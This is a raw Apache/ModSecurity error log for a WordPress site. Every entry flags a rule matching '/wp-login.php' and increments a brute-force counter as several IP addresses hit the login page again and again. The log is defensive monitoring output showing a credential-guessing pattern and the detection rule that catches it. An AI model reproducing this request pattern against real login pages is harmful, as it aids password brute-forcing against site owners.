[Tue Apr 14 22:56:27.299036 2026] [:error] [pid 60074:tid 60098] [client 195.28.150.252:17053] [client 195.28.150.252] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 195.28.150.252, incrementing brute counter"] [hostname "rcacivilgroup.com"] [uri "/wp-login.php"] [unique_id "ad5Vm-tqnEmNU9vpHCnItAAAANY"], referer: https://rcacivilgroup.com/wp-login.php
[Tue Apr 14 22:56:27.690986 2026] [:error] [pid 59986:tid 60027] [client 96.20.150.52:40490] [client 96.20.150.52] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 96.20.150.52, incrementing brute counter"] [hostname "rcacivilgroup.com"] [uri "/wp-login.php"] [unique_id "ad5Vm56axKeW6bX4H7ezMwAAAEc"], referer: https://rcacivilgroup.com/wp-login.php
[Tue Apr 14 22:56:28.391245 2026] [:error] [pid 60074:tid 60082] [client 195.28.150.252:17053] [client 195.28.150.252] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 195.28.150.252, incrementing brute counter"] [hostname "rcacivilgroup.com"] [uri "/wp-login.php"] [unique_id "ad5VnOtqnEmNU9vpHCnItQAAAMY"], referer: https://rcacivilgroup.com/wp-login.php
[Tue Apr 14 22:56:28.832064 2026] [:error] [pid 59986:tid 60035] [client 96.20.150.52:40490] [client 96.20.150.52] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 96.20.150.52, incrementing brute counter"] [hostname "rcacivilgroup.com"] [uri "/wp-login.php"] [unique_id "ad5VnJ6axKeW6bX4H7ezNAAAAE8"], referer: https://rcacivilgroup.com/wp-login.php
[Tue Apr 14 22:56:29.486736 2026] [:error] [pid 60074:tid 60083] [client 195.28.150.252:17053] [client 195.28.150.252] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 195.28.150.252, incrementing brute counter"] [hostname "rcacivilgroup.com"] [uri "/wp-login.php"] [unique_id "ad5VnetqnEmNU9vpHCnItgAAAMc"], referer: https://rcacivilgroup.com/wp-login.php
[Tue Apr 14 22:56:30.584801 2026] [:error] [pid 60074:tid 60097] [client 195.28.150.252:17053] [client 195.28.150.252] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 195.28.150.252, incrementing brute counter"] [hostname "rcacivilgroup.com"] [uri "/wp-login.php"] [unique_id "ad5VnutqnEmNU9vpHCnItwAAANU"], referer: https://rcacivilgroup.com/wp-login.php
[Tue Apr 14 22:56:31.801114 2026] [:error] [pid 60074:tid 60100] [client 195.28.150.252:17053] [client 195.28.150.252] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 195.28.150.252, incrementing brute counter"] [hostname "rcacivilgroup.com"] [uri "/wp-login.php"] [unique_id "ad5Vn-tqnEmNU9vpHCnIuQAAANg"], referer: https://rcacivilgroup.com/wp-login.php
[Tue Apr 14 22:56:32.913725 2026] [:error] [pid 60074:tid 60090] [client 195.28.150.252:17053] [client 195.28.150.252] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 195.28.150.252, incrementing brute counter"] [hostname "rcacivilgroup.com"] [uri "/wp-login.php"] [unique_id "ad5VoOtqnEmNU9vpHCnIvAAAAM4"], referer: https://rcacivilgroup.com/wp-login.php
[Tue Apr 14 22:56:34.093784 2026] [:error] [pid 60074:tid 60094] [client 195.28.150.252:17053] [client 195.28.150.252] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 195.28.150.252, incrementing brute counter"] [hostname "rcacivilgroup.com"] [uri "/wp-login.php"] [unique_id "ad5VoutqnEmNU9vpHCnIvgAAANI"], referer: https://rcacivilgroup.com/wp-login.php
[Tue Apr 14 22:56:43.076468 2026] [:error] [pid 59986:tid 60034] [client 95.10.22.82:47529] [client 95.10.22.82] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 95.10.22.82, incrementing brute counter"] [hostname "rcacivilgroup.com"] [uri "/wp-login.php"] [unique_id "ad5Vq56axKeW6bX4H7ezbgAAAE4"], referer: https://rcacivilgroup.com/wp-login.php
[Tue Apr 14 22:56:44.323401 2026] [:error] [pid 59986:tid 60040] [client 95.10.22.82:47529] [client 95.10.22.82] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 95.10.22.82, incrementing brute counter"] [hostname "rcacivilgroup.com"] [uri "/wp-login.php"] [unique_id "ad5VrJ6axKeW6bX4H7ezkQAAAFQ"], referer: https://rcacivilgroup.com/wp-login.php
[Tue Apr 14 22:56:45.650181 2026] [:error] [pid 59986:tid 60021] [client 95.10.22.82:47529] [client 95.10.22.82] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 95.10.22.82, incrementing brute counter"] [hostname "rcacivilgroup.com"] [uri "/wp-login.php"] [unique_id "ad5VrZ6axKeW6bX4H7eztQAAAEE"], referer: https://rcacivilgroup.com/wp-login.php
[Tue Apr 14 22:56:46.541177 2026] [:error] [pid 59986:tid 60032] [client 31.155.142.193:59518] [client 31.155.142.193] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 31.155.142.193, incrementing brute counter"] [hostname "rcacivilgroup.com"] [uri "/wp-login.php"] [unique_id "ad5Vrp6axKeW6bX4H7ezyQAAAEw"], referer: https://rcacivilgroup.com/wp-login.php
[Tue Apr 14 22:56:46.960612 2026] [:error] [pid 59986:tid 60033] [client 95.10.22.82:47529] [client 95.10.22.82] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 95.10.22.82, incrementing brute counter"] [hostname "rcacivilgroup.com"] [uri "/wp-login.php"] [unique_id "ad5Vrp6axKeW6bX4H7ezzAAAAE0"], referer: https://rcacivilgroup.com/wp-login.php
[Tue Apr 14 22:56:47.796989 2026] [:error] [pid 59986:tid 60040] [client 31.155.142.193:59518] [client 31.155.142.193] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 31.155.142.193, incrementing brute counter"] [hostname "rcacivilgroup.com"] [uri "/wp-login.php"] [unique_id "ad5Vr56axKeW6bX4H7ezzwAAAFQ"], referer: https://rcacivilgroup.com/wp-login.php
[Tue Apr 14 22:56:48.164985 2026] [:error] [pid 59986:tid 60038] [client 95.10.22.82:47529] [client 95.10.22.82] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 95.10.22.82, incrementing brute counter"] [hostname "rcacivilgroup.com"] [uri "/wp-login.php"] [unique_id "ad5VsJ6axKeW6bX4H7ez1AAAAFI"], referer: https://rcacivilgroup.com/wp-login.php
[Tue Apr 14 22:56:49.362442 2026] [:error] [pid 59986:tid 60029] [client 31.155.142.193:59518] [client 31.155.142.193] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 31.155.142.193, incrementing brute counter"] [hostname "rcacivilgroup.com"] [uri "/wp-login.php"] [unique_id "ad5VsZ6axKeW6bX4H7ez4QAAAEk"], referer: https://rcacivilgroup.com/wp-login.php
[Tue Apr 14 22:56:49.446003 2026] [:error] [pid 59986:tid 60023] [client 95.10.22.82:47529] [client 95.10.22.82] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 95.10.22.82, incrementing brute counter"] [hostname "rcacivilgroup.com"] [uri "/wp-login.php"] [unique_id "ad5VsZ6axKeW6bX4H7ez4wAAAEM"], referer: https://rcacivilgroup.com/wp-login.php
[Tue Apr 14 22:56:50.693155 2026] [:error] [pid 59986:tid 60030] [client 31.155.142.193:59518] [client 31.155.142.193] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 31.155.142.193, incrementing brute counter"] [hostname "rcacivilgroup.com"] [uri "/wp-login.php"] [unique_id "ad5Vsp6axKeW6bX4H7ez7QAAAEo"], referer: https://rcacivilgroup.com/wp-login.php
[Tue Apr 14 22:56:50.775388 2026] [:error] [pid 59986:tid 60043] [client 95.10.22.82:47529] [client 95.10.22.82] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 95.10.22.82, incrementing brute counter"] [hostname "rcacivilgroup.com"] [uri "/wp-login.php"] [unique_id "ad5Vsp6axKeW6bX4H7ez7gAAAFc"], referer: https://rcacivilgroup.com/wp-login.php
[Tue Apr 14 22:56:51.911251 2026] [:error] [pid 59986:tid 60023] [client 31.155.142.193:59518] [client 31.155.142.193] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 31.155.142.193, incrementing brute counter"] [hostname "rcacivilgroup.com"] [uri "/wp-login.php"] [unique_id "ad5Vs56axKeW6bX4H7ez8gAAAEM"], referer: https://rcacivilgroup.com/wp-login.php
[Tue Apr 14 22:56:52.040063 2026] [:error] [pid 59986:tid 60028] [client 95.10.22.82:47529] [client 95.10.22.82] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 95.10.22.82, incrementing brute counter"] [hostname "rcacivilgroup.com"] [uri "/wp-login.php"] [unique_id "ad5VtJ6axKeW6bX4H7ez8wAAAEg"], referer: https://rcacivilgroup.com/wp-login.php
[Tue Apr 14 22:56:53.144007 2026] [:error] [pid 59986:tid 60025] [client 31.155.142.193:59518] [client 31.155.142.193] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 31.155.142.193, incrementing brute counter"] [hostname "rcacivilgroup.com"] [uri "/wp-login.php"] [unique_id "ad5VtZ6axKeW6bX4H7ez9gAAAEU"], referer: https://rcacivilgroup.com/wp-login.php
[Tue Apr 14 22:56:53.330486 2026] [:error] [pid 59986:tid 60022] [client 95.10.22.82:47529] [client 95.10.22.82] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 95.10.22.82, incrementing brute counter"] [hostname "rcacivilgroup.com"] [uri "/wp-login.php"] [unique_id "ad5VtZ6axKeW6bX4H7ez-AAAAEI"], referer: https://rcacivilgroup.com/wp-login.php
[Tue Apr 14 22:56:54.373268 2026] [:error] [pid 59986:tid 60030] [client 31.155.142.193:59518] [client 31.155.142.193] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 31.155.142.193, incrementing brute counter"] [hostname "rcacivilgroup.com"] [uri "/wp-login.php"] [unique_id "ad5Vtp6axKeW6bX4H7ez_gAAAEo"], referer: https://rcacivilgroup.com/wp-login.php
[Tue Apr 14 22:56:54.647717 2026] [:error] [pid 59986:tid 60036] [client 95.10.22.82:47529] [client 95.10.22.82] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 95.10.22.82, incrementing brute counter"] [hostname "rcacivilgroup.com"] [uri "/wp-login.php"] [unique_id "ad5Vtp6axKeW6bX4H7e0AAAAAFA"], referer: https://rcacivilgroup.com/wp-login.php
[Tue Apr 14 22:57:07.121191 2026] [:error] [pid 60074:tid 60098] [client 223.185.43.158:25392] [client 223.185.43.158] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 223.185.43.158, incrementing brute counter"] [hostname "rcacivilgroup.com"] [uri "/wp-login.php"] [unique_id "ad5Vw-tqnEmNU9vpHCnI8QAAANY"], referer: https://rcacivilgroup.com/wp-login.php
[Tue Apr 14 22:57:07.359850 2026] [:error] [pid 3810:tid 3820] [client 70.74.96.185:45144] [client 70.74.96.185] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 70.74.96.185, incrementing brute counter"] [hostname "rcacivilgroup.com"] [uri "/wp-login.php"] [unique_id "ad5Vw8qc5XaYZhFXVGfPgQAAAYc"], referer: https://rcacivilgroup.com/wp-login.php
[Tue Apr 14 22:57:08.280799 2026] [:error] [pid 60074:tid 60087] [client 223.185.43.158:25392] [client 223.185.43.158] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 223.185.43.158, incrementing brute counter"] [hostname "rcacivilgroup.com"] [uri "/wp-login.php"] [unique_id "ad5VxOtqnEmNU9vpHCnI8wAAAMs"], referer: https://rcacivilgroup.com/wp-login.php
[Tue Apr 14 22:57:08.593547 2026] [:error] [pid 3810:tid 3825] [client 70.74.96.185:45144] [client 70.74.96.185] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 70.74.96.185, incrementing brute counter"] [hostname "rcacivilgroup.com"] [uri "/wp-login.php"] [unique_id "ad5VxMqc5XaYZhFXVGfPiAAAAYw"], referer: https://rcacivilgroup.com/wp-login.php
[Tue Apr 14 22:57:09.460929 2026] [:error] [pid 60074:tid 60100] [client 223.185.43.158:25392] [client 223.185.43.158] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 223.185.43.158, incrementing brute counter"] [hostname "rcacivilgroup.com"] [uri "/wp-login.php"] [unique_id "ad5VxetqnEmNU9vpHCnI9wAAANg"], referer: https://rcacivilgroup.com/wp-login.php
[Tue Apr 14 22:57:09.913109 2026] [:error] [pid 3810:tid 3814] [client 70.74.96.185:45144] [client 70.74.96.185] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 70.74.96.185, incrementing brute counter"] [hostname "rcacivilgroup.com"] [uri "/wp-login.php"] [unique_id "ad5Vxcqc5XaYZhFXVGfPiQAAAYE"], referer: https://rcacivilgroup.com/wp-login.php
[Tue Apr 14 22:57:10.624669 2026] [:error] [pid 60074:tid 60085] [client 223.185.43.158:25392] [client 223.185.43.158] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 223.185.43.158, incrementing brute counter"] [hostname "rcacivilgroup.com"] [uri "/wp-login.php"] [unique_id "ad5VxutqnEmNU9vpHCnI-AAAAMk"], referer: https://rcacivilgroup.com/wp-login.php
[Tue Apr 14 22:57:11.134150 2026] [:error] [pid 3810:tid 3815] [client 70.74.96.185:45144] [client 70.74.96.185] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 70.74.96.185, incrementing brute counter"] [hostname "rcacivilgroup.com"] [uri "/wp-login.php"] [unique_id "ad5Vx8qc5XaYZhFXVGfPjAAAAYI"], referer: https://rcacivilgroup.com/wp-login.php
[Tue Apr 14 22:57:11.792605 2026] [:error] [pid 60074:tid 60094] [client 223.185.43.158:25392] [client 223.185.43.158] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 223.185.43.158, incrementing brute counter"] [hostname "rcacivilgroup.com"] [uri "/wp-login.php"] [unique_id "ad5Vx-tqnEmNU9vpHCnI-QAAANI"], referer: https://rcacivilgroup.com/wp-login.php
[Tue Apr 14 22:57:12.313771 2026] [:error] [pid 3810:tid 3833] [client 70.74.96.185:45144] [client 70.74.96.185] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 70.74.96.185, incrementing brute counter"] [hostname "rcacivilgroup.com"] [uri "/wp-login.php"] [unique_id "ad5VyMqc5XaYZhFXVGfPjwAAAZQ"], referer: https://rcacivilgroup.com/wp-login.php
[Tue Apr 14 22:57:12.952141 2026] [:error] [pid 60074:tid 60088] [client 223.185.43.158:25392] [client 223.185.43.158] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 223.185.43.158, incrementing brute counter"] [hostname "rcacivilgroup.com"] [uri "/wp-login.php"] [unique_id "ad5VyOtqnEmNU9vpHCnI-gAAAMw"], referer: https://rcacivilgroup.com/wp-login.php
[Tue Apr 14 22:57:13.486501 2026] [:error] [pid 3810:tid 3824] [client 70.74.96.185:45144] [client 70.74.96.185] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 70.74.96.185, incrementing brute counter"] [hostname "rcacivilgroup.com"] [uri "/wp-login.php"] [unique_id "ad5Vycqc5XaYZhFXVGfPkgAAAYs"], referer: https://rcacivilgroup.com/wp-login.php
[Tue Apr 14 22:57:14.060185 2026] [:error] [pid 60074:tid 60076] [client 223.185.43.158:25392] [client 223.185.43.158] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 223.185.43.158, incrementing brute counter"] [hostname "rcacivilgroup.com"] [uri "/wp-login.php"] [unique_id "ad5VyutqnEmNU9vpHCnI_QAAAMA"], referer: https://rcacivilgroup.com/wp-login.php
[Tue Apr 14 22:57:14.671750 2026] [:error] [pid 3810:tid 3831] [client 70.74.96.185:45144] [client 70.74.96.185] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 70.74.96.185, incrementing brute counter"] [hostname "rcacivilgroup.com"] [uri "/wp-login.php"] [unique_id "ad5Vysqc5XaYZhFXVGfPlAAAAZI"], referer: https://rcacivilgroup.com/wp-login.php
[Tue Apr 14 22:57:27.430339 2026] [:error] [pid 59986:tid 60036] [client 78.112.63.159:29518] [client 78.112.63.159] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 78.112.63.159, incrementing brute counter"] [hostname "rcacivilgroup.com"] [uri "/wp-login.php"] [unique_id "ad5V156axKeW6bX4H7e0TwAAAFA"], referer: https://rcacivilgroup.com/wp-login.php
[Tue Apr 14 22:57:29.530610 2026] [:error] [pid 59986:tid 60037] [client 78.112.63.159:29518] [client 78.112.63.159] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 78.112.63.159, incrementing brute counter"] [hostname "rcacivilgroup.com"] [uri "/wp-login.php"] [unique_id "ad5V2Z6axKeW6bX4H7e0VQAAAFE"], referer: https://rcacivilgroup.com/wp-login.php
[Tue Apr 14 22:57:30.703879 2026] [:error] [pid 59986:tid 60026] [client 78.112.63.159:29518] [client 78.112.63.159] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 78.112.63.159, incrementing brute counter"] [hostname "rcacivilgroup.com"] [uri "/wp-login.php"] [unique_id "ad5V2p6axKeW6bX4H7e0WgAAAEY"], referer: https://rcacivilgroup.com/wp-login.php
[Tue Apr 14 22:57:32.251070 2026] [:error] [pid 59986:tid 60027] [client 78.112.63.159:29518] [client 78.112.63.159] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 78.112.63.159, incrementing brute counter"] [hostname "rcacivilgroup.com"] [uri "/wp-login.php"] [unique_id "ad5V3J6axKeW6bX4H7e0YwAAAEc"], referer: https://rcacivilgroup.com/wp-login.php
[Tue Apr 14 22:57:33.424805 2026] [:error] [pid 59986:tid 60024] [client 79.110.133.137:65325] [client 79.110.133.137] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 79.110.133.137, incrementing brute counter"] [hostname "rcacivilgroup.com"] [uri "/wp-login.php"] [unique_id "ad5V3Z6axKeW6bX4H7e0cAAAAEQ"], referer: https://rcacivilgroup.com/wp-login.php
[Tue Apr 14 22:57:35.147023 2026] [:error] [pid 59986:tid 60042] [client 78.112.63.159:29518] [client 78.112.63.159] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 78.112.63.159, incrementing brute counter"] [hostname "rcacivilgroup.com"] [uri "/wp-login.php"] [unique_id "ad5V356axKeW6bX4H7e0cwAAAFY"], referer: https://rcacivilgroup.com/wp-login.php
[Tue Apr 14 22:57:36.626160 2026] [:error] [pid 59986:tid 60022] [client 79.110.133.137:65325] [client 79.110.133.137] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 79.110.133.137, incrementing brute counter"] [hostname "rcacivilgroup.com"] [uri "/wp-login.php"] [unique_id "ad5V4J6axKeW6bX4H7e0dQAAAEI"], referer: https://rcacivilgroup.com/wp-login.php
[Tue Apr 14 22:57:37.190611 2026] [:error] [pid 59986:tid 60031] [client 78.112.63.159:29518] [client 78.112.63.159] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 78.112.63.159, incrementing brute counter"] [hostname "rcacivilgroup.com"] [uri "/wp-login.php"] [unique_id "ad5V4Z6axKeW6bX4H7e0dgAAAEs"], referer: https://rcacivilgroup.com/wp-login.php
[Tue Apr 14 22:57:37.858109 2026] [:error] [pid 59986:tid 60023] [client 79.110.133.137:65325] [client 79.110.133.137] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 79.110.133.137, incrementing brute counter"] [hostname "rcacivilgroup.com"] [uri "/wp-login.php"] [unique_id "ad5V4Z6axKeW6bX4H7e0eAAAAEM"], referer: https://rcacivilgroup.com/wp-login.php
[Tue Apr 14 22:57:39.080966 2026] [:error] [pid 59986:tid 60025] [client 78.112.63.159:29518] [client 78.112.63.159] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 78.112.63.159, incrementing brute counter"] [hostname "rcacivilgroup.com"] [uri "/wp-login.php"] [unique_id "ad5V456axKeW6bX4H7e0eQAAAEU"], referer: https://rcacivilgroup.com/wp-login.php
[Tue Apr 14 22:57:39.302005 2026] [:error] [pid 59986:tid 60033] [client 79.110.133.137:65325] [client 79.110.133.137] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 79.110.133.137, incrementing brute counter"] [hostname "rcacivilgroup.com"] [uri "/wp-login.php"] [unique_id "ad5V456axKeW6bX4H7e0egAAAE0"], referer: https://rcacivilgroup.com/wp-login.php
[Tue Apr 14 22:57:40.719161 2026] [:error] [pid 59986:tid 60020] [client 79.110.133.137:65325] [client 79.110.133.137] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 79.110.133.137, incrementing brute counter"] [hostname "rcacivilgroup.com"] [uri "/wp-login.php"] [unique_id "ad5V5J6axKeW6bX4H7e0fAAAAEA"], referer: https://rcacivilgroup.com/wp-login.php
[Tue Apr 14 22:57:42.955071 2026] [:error] [pid 59986:tid 60021] [client 79.110.133.137:65325] [client 79.110.133.137] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 79.110.133.137, incrementing brute counter"] [hostname "rcacivilgroup.com"] [uri "/wp-login.php"] [unique_id "ad5V5p6axKeW6bX4H7e0fwAAAEE"], referer: https://rcacivilgroup.com/wp-login.php
[Tue Apr 14 22:57:44.244477 2026] [:error] [pid 59986:tid 60041] [client 79.110.133.137:65325] [client 79.110.133.137] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 79.110.133.137, incrementing brute counter"] [hostname "rcacivilgroup.com"] [uri "/wp-login.php"] [unique_id "ad5V6J6axKeW6bX4H7e0ggAAAFU"], referer: https://rcacivilgroup.com/wp-login.php
